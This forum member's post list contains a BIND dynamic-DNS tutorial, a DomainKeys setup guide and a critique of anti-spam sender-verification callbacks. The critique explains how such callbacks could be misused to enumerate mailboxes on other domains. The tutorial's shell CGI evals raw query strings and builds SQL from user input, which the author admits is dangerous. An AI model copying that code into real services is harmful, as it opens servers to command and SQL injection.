顯示文章

這裡允許您檢視這個會員的所有文章。請注意, 您只能看見您有權限閱讀的文章。


主題 - abelyang

頁: [1] 2
1
代碼: [選擇]

【年齡限制】  無
【學歷要求】 大學以上
【科系限制】 資訊工程相關、工程學科類、其他工程相關
【工作經驗】 1年以上
【語文條件】 英文 -- 聽 /中等、說 /中等、讀 /中等、寫 /中等
【電腦專長】 作業系統:UNIX、LINUX
                  程式設計:C/C++、Perl、CGI
                  資料庫:Oracle、MySQL
                  網頁技術:HTML、DHTML
【其它條件】 1. 對上列程式語言至少熟悉二項(含)以上:C、perl、PHP
                2. 有資料庫操作經驗,熟悉SQL指令,有資料庫管理及安裝經驗者更佳
                3. 熟網頁設計及CGI開發,可不透過Frontpage、Dreamwaver等套裝軟體開發網頁
                 4. 熟UNIX操作環境,有UNIX系統管理經驗者更佳


請E-mail履歷(請詳列工作經驗)至erin@twnic.net.tw

2
Linux 討論版 / 最近的一些 AntiSpam
« 於: 2006-08-22 13:23 »
現在的 antispam 廠商為了增加判斷 spam 的能力,開始做反向檢查,
最近一週內就碰到會做反向檢查的 antispam mta, 但可笑的是檢查的
方法卻是十足 Spam 行為

例如 iii.org.tw 或 ttn.net.tw ,
代碼: [選擇]

[root@eai2 aws]# telnet mta2.iii.org.tw 25
Trying 140.92.66.168...
Connected to mta2.iii.org.tw.
Escape character is '^]'.
220 ***2**************************2******22*****200***2********0*00
helo twnic.net.tw                        # 不能送 ehlo , 也就是不支援 ESMTP
250 mta2.iii.org.tw Hello twnic.net.tw [211.72.210.251]

mail from: <abc@twnic.net.tw>            # Sender 不存在
250 OK
rcpt to: <Remail@micmail.iii.org.tw>
550-Verification failed for <abc@twnic.net.tw>   # 這裏他反向連接到 twnic.net.tw 確認是否有 abc 這個 User
550-Called:   211.72.210.250                     # 但是他的 mail from: <> 為空的, 又不是只有你們家有 antispam
550-Sent:     RCPT TO:<abc@twnic.net.tw>         # 你 mail from is empty 我就 reject , 所以你的做法反造成正常的信件不能傳送
550-Response: 550 5.1.1 <abc@twnic.net.tw>... User unknown  # 因為 III 我們常往來,但是 <> 顯然存在很大問題
550 Sender verify failed
rset                                             # 重設連線
250 Reset OK
helo log.twnic.net.tw
250 mta2.iii.org.tw Hello log.twnic.net.tw [211.72.210.251]
mail from: <postmaster@twnic.net.tw>
250 OK
rcpt to: <postmaster@iii.org.tw>            
550 invalid recipient III account (postmaster@iii.org.tw)  # 無此收件者
rcpt to: <abuse@iii.org.tw>
550 invalid recipient III account (abuse@iii.org.tw)       # 還是無
rcpt to: <security@iii.org.tw>
550 invalid recipient III account (security@iii.org.tw)    # 還是無
quit
221 mta2.iii.org.tw closing connection
Connection closed by foreign host.

代碼: [選擇]

# maillog 中可知 iii 或 ttn 送來的 Sender 都是 EMPTY
Aug 10 09:30:18 twnic sendmail[2237]: k7A1UIjd002237: 550 Sender can't be <>
Aug 10 09:30:18 twnic sendmail[2237]: k7A1UIjd002237: from=<>, size=0, class=0, nrcpts=0, proto=SMTP, daemon=MTA, relay=mta2.iii.org.tw [140.92.66.168]

III 你好大一個組織連 postmaster 都沒有,真是有夠 ...,另外兩個也沒有,不知是本來就沒有還是 antispam 不知道有!

ttn.net.tw 也是一樣,照樣送 <> 來做反向檢查以確認 Sender 是否真的存在,不過如同 III 一樣敗給他們了,為了這兩家
我還得特別允許他們這兩個 IP 可以送 <> 來,天曉得還有多少家公司用這種做法

另外,像 moe.gov.tw 也是一樣,最近他們上了 SpamSherlock , 也是來做反向 Sender 檢查,但是 moe (台灣有名的教育部),
平常用的是 @mail.moe.gov.tw , 但是反向檢查來的 Sender 是 postmaster@moe.gov.tw , 天呀,你和我講 moe.gov.tw 在哪
裏,有多少的 MTA 會做 Sender Domain must Exist 的檢查 (檢查 @ 的右邊是否有 MX/A 記錄),那這些人通通不能寄信給
你們了,因為你的 Sender 有問題,而 SpamSherlock 也夠笨的,不會事先幫 Admin 的設定做檢查,所以才送來這種 Sender


如果 III 寄 MOE 那就更奇妙了, MOE 檢查 III , III 再檢查 MOE ....反正那是他們的事,用個假的 Mail From 給他們自己
去 loop

這種檢查還有一個天大的缺點,就是如果我的 Server 有做 Rate Control (sendmail 8.13.X 後),你來檢查可能會有 Rate Limit
狀況,因為檢查的太頻繁造成拒絕連接情況,如此反而影響了正常的 Mail

Email 本來就沒辨法確認真偽, 而現實中更有很多探測 Mail Address 方法,我今天想知道 study-area.org 下有多少個 Email
通常做法就是字典查詢,但是我不用我的查,而是用 III/TTN/MOE 來查,我只要送 MAIL FROM: <XXX@study-area.org> 而且確
認這些目標主機至少有一個合法的收件者,那這三個單位就會幫我去檢查 Study-area 上有沒有此收件人,這顯然是有很大的問題的

反向檢查很多人講,但是問題其實很多,這些 antispam 的公司方法我認為實在不足取

3
[分享] 用 BIND 架設 DDNS Server 提供 DDNS 服務

版權宣告
歡迎轉載 ,但有任何修改請來信告知,不得作為商業用途
作者: abelyang <abelyang{at}twnic{dot}net{dot}tw>
version: 1.0
最後修正時間: 2006/07/28 00:10
轉載時請保持此一宣告

1.前言
目前動態 DNS 兩大主流,一個是 BIND (ISC),另一個就是套接 DB 的 DNS 如 PowerDNS (或 mydns)
 等,兩種方式各有好壞,主要是因為 BIND 會有一些複雜性,但效果非常好,而 PowerDNS 則是很簡單,
但相對的它不能承受大量查詢,主要原因在於資料庫上先天的限制. 本文主要為介紹 BIND 之動態
DNS 做法,而這個做法之最重要重點則在於nsupdate 這個指令及 IXFR (incremental zone transfer
request),是不同於傳統的 AXFR (full zone transfer),IXFR 在做 Zone Transfer (DNS 的同步機制)
 時,會以差異化的部份進行同步, 而 AXFR 則是以整個 Zone 進行同步.DDNS 主要由 RFC 2136 構成,
建議若您要對 DDNS 有一定深入的了解,可以閱讀這篇 RFC 以了解更多重要的資訊
(1034 1035 1995 是 2136 的基礎)

本文適用於對 DNS 巳有一定了解的朋友,若是不甚清楚建議您可先參考 TWNIC 所做的講義:
http://dns-learning.twnic.net.tw/DNS94/



如果你想對 nsupdate + key 的方法有更深入的了解可以參考
http://www.study-area.org/tips/tipsfr1.htm
或參考 isc bind 的文件有最詳細的解說
http://www.isc.org/sw/bind/arm93/Bv9ARM.pdf
本文不討論 view 的情形,若是 view 情形您必需從 view 的 match-client 去更新或是使用不同
的 key,所以建議您多參考 isb bind 的文件,雖然辛苦些,但資料絕對是最官方最正確的


2. 必要的資訊及知識
本文的範例以 Shell Script 做成,重點在於原理,採用什麼工具或做法完全視您個人的能力.以下
就一些重點進行說明.

2.1 BIND 動態更新
基本上在 BIND8,BIND9 都是支援 nsupdate 的,但這裏面要注意的是 BIND8 在8.3.X 後才支援
IXFR,而 BIND9 則都支援,所以若您的 Server 在 8.3.0 前的版本,那就不建議了,更何況這個以
前的版本多多少少都有許多安全性的問題.

2.1.1 nsupdate:
bind 要開 allow-update 選項,讓你的程式可以來執行更新指令,allow-update 選項可以是 IP 或
key,而本文僅就 IP進行介紹,若用 Key 對有些朋友來說可能會變得稍複雜些了
代碼: [選擇]

# named.conf
# 其他略
zone "dyndns.twnic.tw" {
type master;
file "dyndns.twnic.tw";
allow-update {127.0.0.1;};    # 開放 127.0.0.1 進行動態更新
allow-transfer { slave_ip;127.0.0.1;};  # slave 主機,可能一部或多部,若無請寫 none
};

以上是開放讓 127.0.0.1 進行動態更新,動態更新有其指令,詳細您可看看 nsupdate man page
(man nsupdate),以下僅以最常用的進行說明:
代碼: [選擇]

#nsupdate
[root@eai1 dyndns]# nsupdate
> server 127.0.0.1
> zone dyndns.twnic.tw
> update delete user1.dyndns.twnic.tw A 211.72.210.249
> update add user1.dyndns.twnic.tw A 211.72.210.251
ttl 'A': not a valid number  # 這個例子是錯誤示範,加一筆記錄要有 TTL 值
> update add user1.dyndns.twnic.tw 60 A 211.72.210.251
> show
Outgoing update query:
;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id:      0
;; flags: ; ZONE: 0, PREREQ: 0, UPDATE: 0, ADDITIONAL: 0
;; UPDATE SECTION:
user1.dyndns.twnic.tw.  0       NONE    A       211.72.210.249
user1.dyndns.twnic.tw.  60      IN      A       211.72.210.251

> send
> quit


代碼: [選擇]

server  指向某一台 NameServer 進行 update 操作
zone    修改某個 zone file
update delete  進行 update 的 delete 動作,這個指令格式是
        update delete FQDN TYPE RDATA,如果有多筆相同的 A
        記錄或不同的 MX 記錄要刪除某一筆需將 RDATA 補上,
        若沒有 RDATA 則表示這個 FQDN 的這個 TYPE 都要刪除
        (TYPE 即是 A,MX,PTR,SOA,NS..等,RDATA 就是 TYPE 後
        接的東西,如 A 的 RDATA 是 IP 而 MX 的 RDATA 是 優
        先權 FQDN)
update add     進行記錄的增加,操作如同 delete, 但是一定要有
        TTL 值,且必需明確寫出 RDATA
show    這只是操作後要顯示進行了那些 update 指令
send    這個代表要把整個 update 指令送給 server,操作 update
        時資料不是馬上送出的,所以 update 可以很多行,最後
        nsupdate 看到 send 時,才會將整個所有 update 送出,
        而 update 使用 port 53/udp 若送出的資料量 (DNS packet)
        大於 512 bytes,則會 truncate 而改使用 53/tcp,這是您
        需要注意的地方,而只要您有 send, 則 SOA 記錄的 serial
        會自動加1,以期讓 slave 來進行同步,所以過多的 send 可
        能造成過多的 traffic

[/b]
2.1.2 zone file 及日誌檔
如果您進行了 nsupdate 的操作,則原來 directory 所指的目錄將會產生一些日誌檔,這個日誌檔即為
zone_name.jnl (directory 習慣上都設在 /var/named , 您自己必要注意 named 程式要有寫入的權限,
chroot 狀況等)
代碼: [選擇]

# 顯示 dyndns.twnic.tw zone file 內容
[root@eai1 named]# cat /var/named/dyndns.twnic.tw
$TTL 86400      ; 1 day
@         IN SOA  twnic.net.tw. snw.twnic.net.tw. (
                                2006073267 ; serial
                                7200       ; refresh (2 hours)
                                1800       ; retry (30 minutes)
                                2419000    ; expire (3 weeks 6 days 23 hours 56 minutes 40 seconds)
                                300        ; minimum (5 minutes)
                                )
                        NS      ns2.dyndns.twnic.tw.
                        NS      eai1.twnic.tw.
ns2                     A       203.73.24.204
; 如果別人在查詢時,我們有這個記錄則回應這個記錄的 IP,若沒有這個記錄代表
; 這個網站沒有上線,所以此時我們可以建立一筆 wildcard 記錄,指向自己的說
; 明網站,以供 user 識別這個網站沒有上線,而這筆 wildcard 的記錄 TTL 時間
; 不能太長,以免別的 DNS Cache 了這資料
*                 0    A       211.72.210.251



# 目錄裏的東西
[root@eai1 named]# ls -la /var/named/
總計 128
drwxr-xr-x    2 named    named        4096  7月 27 09:25 .
drwxr-xr-x   20 root     root         4096  3月 13 16:50 ..
-rw-r--r--    1 named    named         451  7月 27 09:25 dyndns.twnic.tw
-rw-r--r--    1 named    named      104177  7月 27 10:01 dyndns.twnic.tw.jnl
-rw-r--r--    1 named    named         195  7月  4  2001 localhost.zone
-rw-r--r--    1 named    named        2851 10月 17  2003 named.ca


我們可以看到這個 .jnl 的產生,這個 .jnl 檔是不能隨便刪除,因為它等於是 dyndns.twnic.tw 的補
充資料
,而這些補充資料在 DNS reload/restart 時, named 還會在把它讀進來,所以動態更新後的資料,
並不會隨著 dns 重啟後而消失,如果你想讓現在整個 zone 檔出現所有的記錄,那可以 rndc stop 來停止
dns, 此時 named 會把 .jnl資料寫入原來的 zone file,不過這種方式一般來說較不建議,因為我們的 zone
 file 只要存一個樣版 (template),其他的東西都是臨時性的. 而若你想知道現在整個 zone 的內容,在可
以做 zone transfer 的主機上(如上例為 slave_ip及 127.0.0.1), 以 dig 指令來執行 axfr:
代碼: [選擇]

[root@eai1 dyndns]# dig @127.0.0.1 dyndns.twnic.tw axfr

; <<>> DiG 9.3.0 <<>> @127.0.0.1 dyndns.twnic.tw axfr
;; global options:  printcmd
dyndns.twnic.tw.        86400   IN      SOA     twnic.net.tw. snw.twnic.net.tw. 2006073528 7200 1800 2419000 300
dyndns.twnic.tw.        86400   IN      NS      ns2.dyndns.twnic.tw.
dyndns.twnic.tw.        86400   IN      NS      eai1.twnic.tw.
*.dyndns.twnic.tw.      0      IN      A       211.72.210.251
ns2.dyndns.twnic.tw.    86400   IN      A       203.73.24.204
user1.dyndns.twnic.tw.  60      IN      A       211.72.210.248
user1.dyndns.twnic.tw.  60      IN      MX      10 user1.dyndns.twnic.tw.
# 以下略
...


2.設定 NameServer 僅進行差異化的同步
Master/Slave 要進行 zone file 的同步,而 ddns server 若只有一部是可以不用考慮這些問題的,但是若有兩
部以上的 DNS Server, 就需要考慮到同步的進行方式,若 zone file 的總資料量小,採用什麼同步方式是無所
謂的,但若資料量多,或是經常處在變動狀況,那差異化的同步就會顯得很重要,因為它可以讓所有的 DNS 在短時
間內全部同步完成,BIND 支援 IXFR 後,其預設即是採用 IXFR, 若沒有 IXFR (update) 時,則採用 AXFR,所以不
需要對 IXFR 進行額外設定,但為使大家了解其參數,本處還是舉例來進行說明,好讓大家能夠更了解

代碼: [選擇]

# master DNS's named.conf
key "rndc-key" {
        algorithm hmac-md5;
        secret "HpXtFRFdLaRPFjpZokIwusyezyyRNjxhcafCfmktWNyGkDFzHAXlpTZQtVLc";
};

controls {
        inet 127.0.0.1 port 953
                allow { 127.0.0.1; } keys { "rndc-key"; };
};

options {
        directory "/var/named";
        pid-file "/var/run/named/named.pid";
        allow-transfer { none; };
        provide-ixfr yes;   # 提供 slave 主機以 IXFR 同步,default yes
        request-ixfr yes;   # slave 以 IXFR 向 master 進行同步,default yes
recursion no;       # 不允許遞迴查詢
};
zone "0.0.127.in-addr.arpa" {
        type master;
        file "named.local";
};
zone "." {
        type hint;
        file "named.ca";
};
zone "dyndns.twnic.tw" {
        type master;
        file "dyndns.twnic.tw";
        max-journal-size 500k;                      # 設定日誌檔大小
        allow-transfer { 203.73.24.204;127.0.0.1;}; # 可做 ixfr/axfr 的來源 IP,必需寫上 slave,
                                                    # 127.0.0.1 是方使我們自己查看 zone file 現況
        also-notify {203.73.24.205;211.72.210.251}; # 額外的同步主機,這可能是 hot site 備份主機
        allow-update { 127.0.0.1;};                 # 允許動態更新的來源
};



上述的東西相信只要對 BIND DNS 有一定了解的朋友應該都是沒有問題的,較不常出現的項目我都加上了的註解以利
大家了解,而 slave 的設法都同於 master, 只有在 zone 的部份稍有不同:
代碼: [選擇]

# slave DNS's named.conf
# 其他設定皆同上,只有 zone ...稍有不同,同於一般的 slave zone,不需要再開 allow-update (default none)
zone "dyndns.twnic.tw" {
        type slave;
        masters {211.72.210.249;};
        file "dyndns.twnic.tw";
        allow-transfer { none;};
};



所以從上述我們可以知道 DDNS for Master/Slave 您只要對 master 進行 update,每次的 update 送出 (send)
會使該zone 的序號加一,只要 zone 有更新 , dns 會送出 notify 訊息給所有的 NS 主機(NS 記錄上所列的名稱
伺服器),及可能的 also-notify 對象,使 slave 主機知道要進行同步,同步時優先採用 IXFR,若 master 不支援
IXFR 則改使用 AXFR,以達到即使更新,及時同步的效果


此外,有些做 DDNS 的公司可能對 IXFR 不了解,而是把所有的 zone type 都設成了 MASTER,然後對這些 NameServer
進行 nsupdate , 這種做法也是可以的,不過中間若漏了一步或那一台少做了一件事,那兩邊的資料就會不一致,導致
可能同一個名稱會有不同的解析結果 (例如 gnway.net 做法)


3. DDNS 的前端及後台控制範例
說是範例主要是讓大家參考原理,並沒有必要一定都用我的方式,只要前面講的東西您可以了解,程式控制的部份
僅是末節,以下僅列出我所用的方式供大家參考

3.1 MYSQL table
主要由三個表構成,分別為 RR (Resource Record), RR_LOG (舊資料,建議您依狀況適當保存),USER (user 認證)
代碼: [選擇]

CREATE TABLE RR (
  SN int(20) NOT NULL auto_increment,
  USERNAME varchar(64) NOT NULL default '',
  FQDN varchar(64) NOT NULL default '',
  TTL int(5) NOT NULL default '60',
  TYPE varchar(10) NOT NULL default '',
  RDATA varchar(64) NOT NULL default '',
  CREATE_TIME timestamp(14) NOT NULL,
  PRIMARY KEY  (SN),
  KEY USERNAME (USERNAME),
  KEY FQDN (FQDN),
  KEY TTL (TTL),
  KEY TYPE (TYPE),
  KEY CREATE_TIME (CREATE_TIME)
) TYPE=MyISAM;

--
-- Table structure for table 'RR_LOG'
--

CREATE TABLE RR_LOG (
  SN int(20) NOT NULL default '0',
  USERNAME varchar(64) NOT NULL default '',
  FQDN varchar(64) NOT NULL default '',
  TTL int(5) NOT NULL default '60',
  TYPE varchar(10) NOT NULL default '',
  RDATA varchar(64) NOT NULL default '',
  CREATE_TIME varchar(14) default NULL,
  PRIMARY KEY  (SN),
  KEY USERNAME (USERNAME),
  KEY FQDN (FQDN),
  KEY CREATE_TIME (CREATE_TIME)
) TYPE=MyISAM;

--
-- Table structure for table 'USER'
--

CREATE TABLE USER (
  SN int(20) NOT NULL auto_increment,
  USERNAME varchar(64) NOT NULL default '',
  PASSWD varchar(64) NOT NULL default '',
  EMAIL varchar(64) NOT NULL default '',
  MEMO varchar(255) NOT NULL default '',
  PRIMARY KEY  (SN),
  UNIQUE KEY USERNAME (USERNAME)
) TYPE=MyISAM;

3.2 dyndns.cfg 設定檔
這個設定檔主要為了給 CGI 程式及產生 nsupdate 的程式 (dyndns-cron.sh) 所使用,透過 eval 方式來執行,
以取得共同的變數
代碼: [選擇]

# mysql host/db/user/password
DBHOST=localhost
DBNAME=dyndns
DBUSER=UserName
DBPASS=Your_Passwd
MYSQL="mysql $DBNAME -h $DBHOST -u $DBUSER -p$DBPASS"

# dyndns domain
DOMAIN=dyndns.twnic.tw

# Master IP
DYNDNS_MASTER=127.0.0.1

# nsupdate command file
CMD_FILE=/tmp/nsupdate.cmd

# update freqency
UPD_FREQ=15

# RR valid time (sec
RR_ALIVE=1200



3.3 dyndns.cgi CGI 程式
這個 CGI 主要用於接收 USER 端來的資訊,驗證通過後即為把 USERNAME.DOMAIN 資料,A/MX 及對應 IP 存入
 Table RR 中,此外這個 CGI 以 shell script 做成,可以於多數人的環境執行 (chmod 755 及目錄的 CGI 執
行權限 ExecCGI 莫忘)
代碼: [選擇]

#!/bin/sh
echo -ne "Content-Type: text/html\n\n"

if [ -n "$QUERY_STRING" ];then
# 取得 QUERY_STRING,以下這個作法是危險的,因為沒有檢查資料的正確性就 eval
# 我的用意只在於說明作法
        eval `echo "$QUERY_STRING" | sed "s/&/;/g"`
# 讀取設定檔,這個路徑您需要自行調整
        eval `cat /home/abelyang/dyndns/dyndns.cfg `
        sql0="select 1 from USER where USERNAME='$LOGIN' and PASSWD='$PASSWD'"
        res=`echo $sql0 | $MYSQL `
# 如果 USER 密碼正確, ${#res} 應為2,不對則為 0
        if [ ${#res} -lt 1 ];then
                echo "Login Failure"
        else
# 取得 IP, 需判斷有 Proxy 存在,但是不考慮 Proxy 後是 NAT 情形
                IP=${HTTP_X_FORWARDED_FOR:-$REMOTE_ADDR}
                FQDN="$LOGIN.$DOMAIN"
# 刪除上一次的登入
                sql1="delete from RR where USERNAME='$LOGIN'"
# 預設的動態更新項目為 A/MX
                sql2="insert into RR(USERNAME,FQDN,TYPE,RDATA) values('$LOGIN','$FQDN','A','$IP')"
                sql3="insert into RR(USERNAME,FQDN,TYPE,RDATA) values('$LOGIN','$FQDN','MX','10 $FQDN')"
                echo $sql1 | $MYSQL
                echo $sql2 | $MYSQL
                echo $sql3 | $MYSQL
                echo $LOGIN login success @$IP
        fi
else
# 以下只是網頁的部份,我沒有做 DDNS 申請,這個部份我想只要懂網頁的朋友應該都會才是
        cat <<EOF
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=big5" />
<link rel="stylesheet" href="./style1.css">
</head>
<body>
<BR><BR><center>
<form>
<h3>Abel Dyndns Demo </h3>
Login:<input type=text name=LOGIN ><BR>
Passwd:<input type=password name=PASSWD><BR>
<input type=submit values="Start DynDNS">
</form>
<BR></center>
</body>
</html>

EOF


fi


3.4 dyndns-cron.sh 定時產生 nsupdate
這隻程式主要進行讀取 Table RR , 並產生 nsupdate 所需要的指令格式後執行 nsupdate, 程式預設
每15秒執行一次(參數如上 dyndns.cfg 中的 UPD_FREQ 更新頻率),您可以拿掉 while [ 1 ] 的迴圈,
改用 crontab 方式來跑,不過這樣就較不容易控制一分鐘以內的更新頻率了,最後,這個程式會把 SOA
的序號改成更新時間,這個時間是 UTC 的秒數(意即 1970/1/1 至今秒數, date +%s 可得),由 SOA 的
序號就可以知道最後的 update 時間,這個原理和 .com 的verisign 或是 dyndns 中的 dyndns.org/
noip.com 是相同的.

另外,根據 RR_ALIVE 參數,若 USER 的登錄時間 小於 現在時間-RR_ALIVE (秒數),則該 Record 視同
離線,所以我們需要進行 delete 動作

代碼: [選擇]

#!/bin/sh

while [ 1 ]
do
# 您必需調整路徑,放在 while loop 裏是要讓修改了設定檔即可生效,若不要可放在 while 之外
        eval `cat /home/abelyang/dyndns/dyndns.cfg`
        cat <<EOF > $CMD_FILE
server $DYNDNS_MASTER
zone $DOMAIN
EOF

# 取得最後一次的更新時間, 多減一秒是為了預防程式的 delay
        last=`date -d "-$UPD_FREQ seconds -3 seconds" "+%Y%m%d%H%M%S"`
        now=`date "+%Y%m%d%H%M%S"`

# 取得這段時間內有上來更新的 USER,這個部份不檢查 IP 不變動情形
# 主要因為 nsupdate 巳執行很快,而且 named 它自己會檢查重覆更新的東西
        echo "select FQDN,TTL,TYPE,RDATA from RR where CREATE_TIME between $last and $now" | $MYSQL| grep -v 'RDATA' | while read FQDN TTL TYPE RDATA RDATA2
        do

# 組出更新指令,主要為一個刪除,一個增加
                echo "update delete $FQDN $TYPE $RDATA $RDATA2" >>$CMD_FILE
                echo "update add $FQDN $TTL $TYPE $RDATA $RDATA2" >>$CMD_FILE
        done

# 超過1小時未有 login 資料則清除 DNS 記錄
        last=`date -d "-$RR_ALIVE seconds" "+%Y%m%d%H%M%S"`
# 備份舊的資料,並清除過時資料 (看你自己要不要備份了)
#       echo "insert into RR_LOG select * from RR where CREATE_TIME<$last"|$MYSQL
#       echo "delete from RR where CREATE_TIME < $last" |$MYSQL

# 取得過期 (RR_VAILD) 而未登錄的列表進行刪除動作,因為我們用了 wildcard (*),所以若別人連時
# 將會被指到 wildcard 所指的 IP 上,而您可這個 Web Server 上做一些文章,例如 Offline 說明等
        echo "select USERNAME,FQDN,TYPE,RDATA from RR  where CREATE_TIME - $last < 0 order by USERNAME" | $MYSQL | grep -v 'USERNAME' | while read USERNAME FQDN TYPE RDATA RDATA2
        do
                echo "; delete $FQDN $TYPE $RDATA $RDATA2" >>$CMD_FILE
                echo "update delete $FQDN $TYPE $RDATA $RDATA2" >>$CMD_FILE
        done

# 自定更新 SOA, 主要是為了讓序號欄位為現在時間 (UTC)
        echo "update delete $DOMAIN SOA" >>$CMD_FILE
        echo "update add $DOMAIN 600 SOA ns1.dyndns.twnic.tw abelyang.eai1.twnic.tw $(date +%s) 900 60 604800 60" >>$CMD_FILE
        echo "send" >>$CMD_FILE
# 執行 nsupdate 指令
        nsupdate $CMD_FILE
#       echo "process ok"
        sleep $UPD_FREQ
done




3.5 登入及更新方法
所有的東西都準備好了後,我們就可以測試:
代碼: [選擇]

wget "http://eai1.twnic.tw/dyndns.cgi?LOGIN=abelyang&PASSWD=abelyang-dyndns" -O /tmp/dyndns-login-status 2>/dev/null

在最多等待15秒(我的預設值)的情況下,就可以更新到 DNS 中了

3.6 其他資料
其他資料如 named.conf , dyndns.twnic.tw zone file 您都可以在前面的說明裏找到,我於下面 link
放了一份所有的資料供大家參考,較不用費事 copy & paste ,但不保證下面 link 永遠有效 (其中的
.tgz 即有所有檔案的 tarball)
http://eai1.twnic.tw/example/


4. DDNS 再探討
如前言所言, DDNS 可以使用資料庫來用 (意即我的範例中可以少掉 dyndns-cron.sh 那隻),不過資料庫
因其先天的狀況,更據我的測試(PowerDNS),在 5 萬資 Record 的情況下,只能到達每秒 1000 次的查詢,
而且此時尚不考量同時有 update/delete/insert 等情形,主要因為受限於先天 DB 的 select 速度所致
,當然您可以透過微調或細部處理讓這個數字變成1500 或 2000, 但都永不如 BIND 隨便都可以透過每秒
6000 次查詢,當然用 DB 直接來做一定是可以且更簡單的,不過安全性及抗壓性 PowerDNS 是隨時都會有
當掉的風險,至於用 BIND 倒是沒有看過,主要是因為這種 Server 肯定是不遞迴(recursion no). 所以
著名的 DDNS 廠商都是用 BIND 而不用 DB 方式,因其抗壓性不足而致風險過高.

此外,若我們看 dyndns.org/noip.com 的做法,可以知道他們也是用 BIND 來做,你可以查詢其 SOA 的序
號即可以知道他每60秒更新一次,若是使用 DB 來做是沒有必要顧慮序號問題的 (DB 有 DB 同步方法,用
SOA 序號無關),此外您更可以查看 .com 的 Verisign,他們的做法也是像 BIND 一樣,而其以每15秒更新
頻率在進行,所以若您使用 .com 的域名,變更DNS 大概只要15秒就可以同步到所有的 .com NameServer,
而不是過去的2天 (因為過去是 AXFR,現在是 IXFR),雖然Verigisn 仍不降低 NS 記錄的 TTL 值 (二天),
但至少不會發生像過去最多會4天 .com 的 DNS 資料 Cache 才會過期的情況 (二天的更新頻率+二天的
快取時間)

代碼: [選擇]

# 檢查 .com 的 NameServer (d.gtld-servers.net) SOA 資訊來驗證
[root@eai1 example]# for i in `seq 1 1000`;do dig +short @d.gtld-servers.net com soa;sleep 1;done
a.gtld-servers.net. nstld.verisign-grs.com. 1153990708 1800 900 604800 900
a.gtld-servers.net. nstld.verisign-grs.com. 1153990708 1800 900 604800 900
a.gtld-servers.net. nstld.verisign-grs.com. 1153990708 1800 900 604800 900
a.gtld-servers.net. nstld.verisign-grs.com. 1153990723 1800 900 604800 900 # 這裏變更了, serial 即時間
a.gtld-servers.net. nstld.verisign-grs.com. 1153990723 1800 900 604800 900
a.gtld-servers.net. nstld.verisign-grs.com. 1153990723 1800 900 604800 900
a.gtld-servers.net. nstld.verisign-grs.com. 1153990723 1800 900 604800 900
a.gtld-servers.net. nstld.verisign-grs.com. 1153990723 1800 900 604800 900
a.gtld-servers.net. nstld.verisign-grs.com. 1153990723 1800 900 604800 900
a.gtld-servers.net. nstld.verisign-grs.com. 1153990723 1800 900 604800 900
a.gtld-servers.net. nstld.verisign-grs.com. 1153990723 1800 900 604800 900
a.gtld-servers.net. nstld.verisign-grs.com. 1153990723 1800 900 604800 900
a.gtld-servers.net. nstld.verisign-grs.com. 1153990723 1800 900 604800 900
a.gtld-servers.net. nstld.verisign-grs.com. 1153990723 1800 900 604800 900
a.gtld-servers.net. nstld.verisign-grs.com. 1153990723 1800 900 604800 900
a.gtld-servers.net. nstld.verisign-grs.com. 1153990738 1800 900 604800 900 # 變更序號
a.gtld-servers.net. nstld.verisign-grs.com. 1153990738 1800 900 604800 900
a.gtld-servers.net. nstld.verisign-grs.com. 1153990738 1800 900 604800 900




5. 結語
我所寫的 script 都是以簡單的角度來出發,以供大家參考,至於用戶及域名管理這個有待想要用的人自行
開發,用 shell script 有利於多數人閱讀及了解原理,細節的東西唯有您自己做了後才更能體會.
對多數的公司來說使用 DDNS 是沒有意義的,除了 Registy (.com/cn/tw/jp/hk...),或是以 DDNS 做為營
運的公司,而 DDNS其實是不難的,但是網路上較缺乏這方面的介紹文章,所以在此為大家介紹一下這些東西
的細節, 以利想要研究的朋友能初窺門徑. 有任何意見都非常歡迎大家多多交流

4
Sendmail Domain Key 教學
歡迎轉載 ,但不得作為商業用途
作者: abelyang <abelyang{at}twnic{dot}net{dot}tw>
最後修正時間: 2006/07/24 00:10
轉載時請保持此一宣告

Sendmail + DomainKey 實作分享

前言
Domain Key (DKIM) 目前尚無標準(RFC) 文件,目前 IETF Draft 只到 04 版(最終到 -06),估計還要一年多才會形成 RFC,
相關訊息可參考 IETF DKIM Working Group (http://www.ietf.org/html.charters/dkim-charter.html), 及
Domain Key 網站 ( http://mipassoc.org/dkim/ ), 這個網站可以找到各種 MTA 如何 support DKIM 的文件及 Source

Domain Key 主要是由 Yahoo 所推的網域名稱和郵件伺服器間認證方式, Server 所發出來的信件使用 private key
加密必要的表頭(Ex: From:Subject:Date),目的 MTA 在收到信件時取出這些表頭,以 public key (從 DNS 中取出,
後述)進行表頭驗證,從驗證的結果中得到一個 return 值,並針對這些值由目的 MTA 決定動作 (Accept/Reject/Discare..),
所以, MTA 要支援 Domain Key, 不同的 MTA 做法稍有不同,僅以個人較熟悉之 sendmail 進行介紹,以供大家參考.
(據聞 postfix 也支援 Milter , 但個人未用過 postfix,故留待有緣人自己研究了,或上述專門介紹 DKIM 的網站中,
也有各種 MTA 的做法).

最後,值得一提的是, Yahoo 目前使用的 DKIM 版本是 02 版,而目前最新的 Draft 到 04 版,最近的 DKIM Milter 則支援
0.3 版,所以,我們的介紹是配合 Yahoo 使用 DKIM 能支援 02 版的 dk-filter 0.4.1

1. sendmail 準備工作

1.1 sendmail 需支援 Milter
不論 DKIM 也好, SPF 也罷,在 Sendmail 中實現都是以 Milter (Mail Fitler) 來做, Milter 的功能是在 SMTP 協商
的過程式去連接一個外部程式進行檢驗,例如 ehlo/mail from/rcpt to/data 等,每個步驟的過程都可以連接一個外部程
式進行檢驗及行為處理,所以,若 user 有需要可以修改 Envelpe To, Header 等,而 DKIM 的 filter 主要的工作是進行
加 Header 及取 Header 驗證的工作,故只有在 Data 上做文章. 所以您的 sendmail 有沒有支援 Milter 決定了你可否
直接使用 DKIM filter (dk-filter),或是必需重新安裝 sendmail

代碼: [選擇]

# 檢驗 sendmail 是否支援 Milter (-d0 表示要看 Complier 參數,不同的 -dX.Y 各有不同意義)
[root@eai1 mail]# sendmail -d0 </dev/null
Version 8.13.7
 Compiled with: DNSMAP LOG MAP_REGEX MATCHGECOS MILTER MIME7TO8 MIME8TO7
                NAMED_BIND NETINET NETUNIX NEWDB PIPELINING SASLv2 SCANF
                STARTTLS USERDB XDEBUG

若上面的 Compiled with 有出現 MILTER 即代表了您的 sendmail 巳支援 Milter, 那是最好不過的了,讓您少掉了不少
預備工作,

1.2 我的 sendmail 目前不支援 Milter
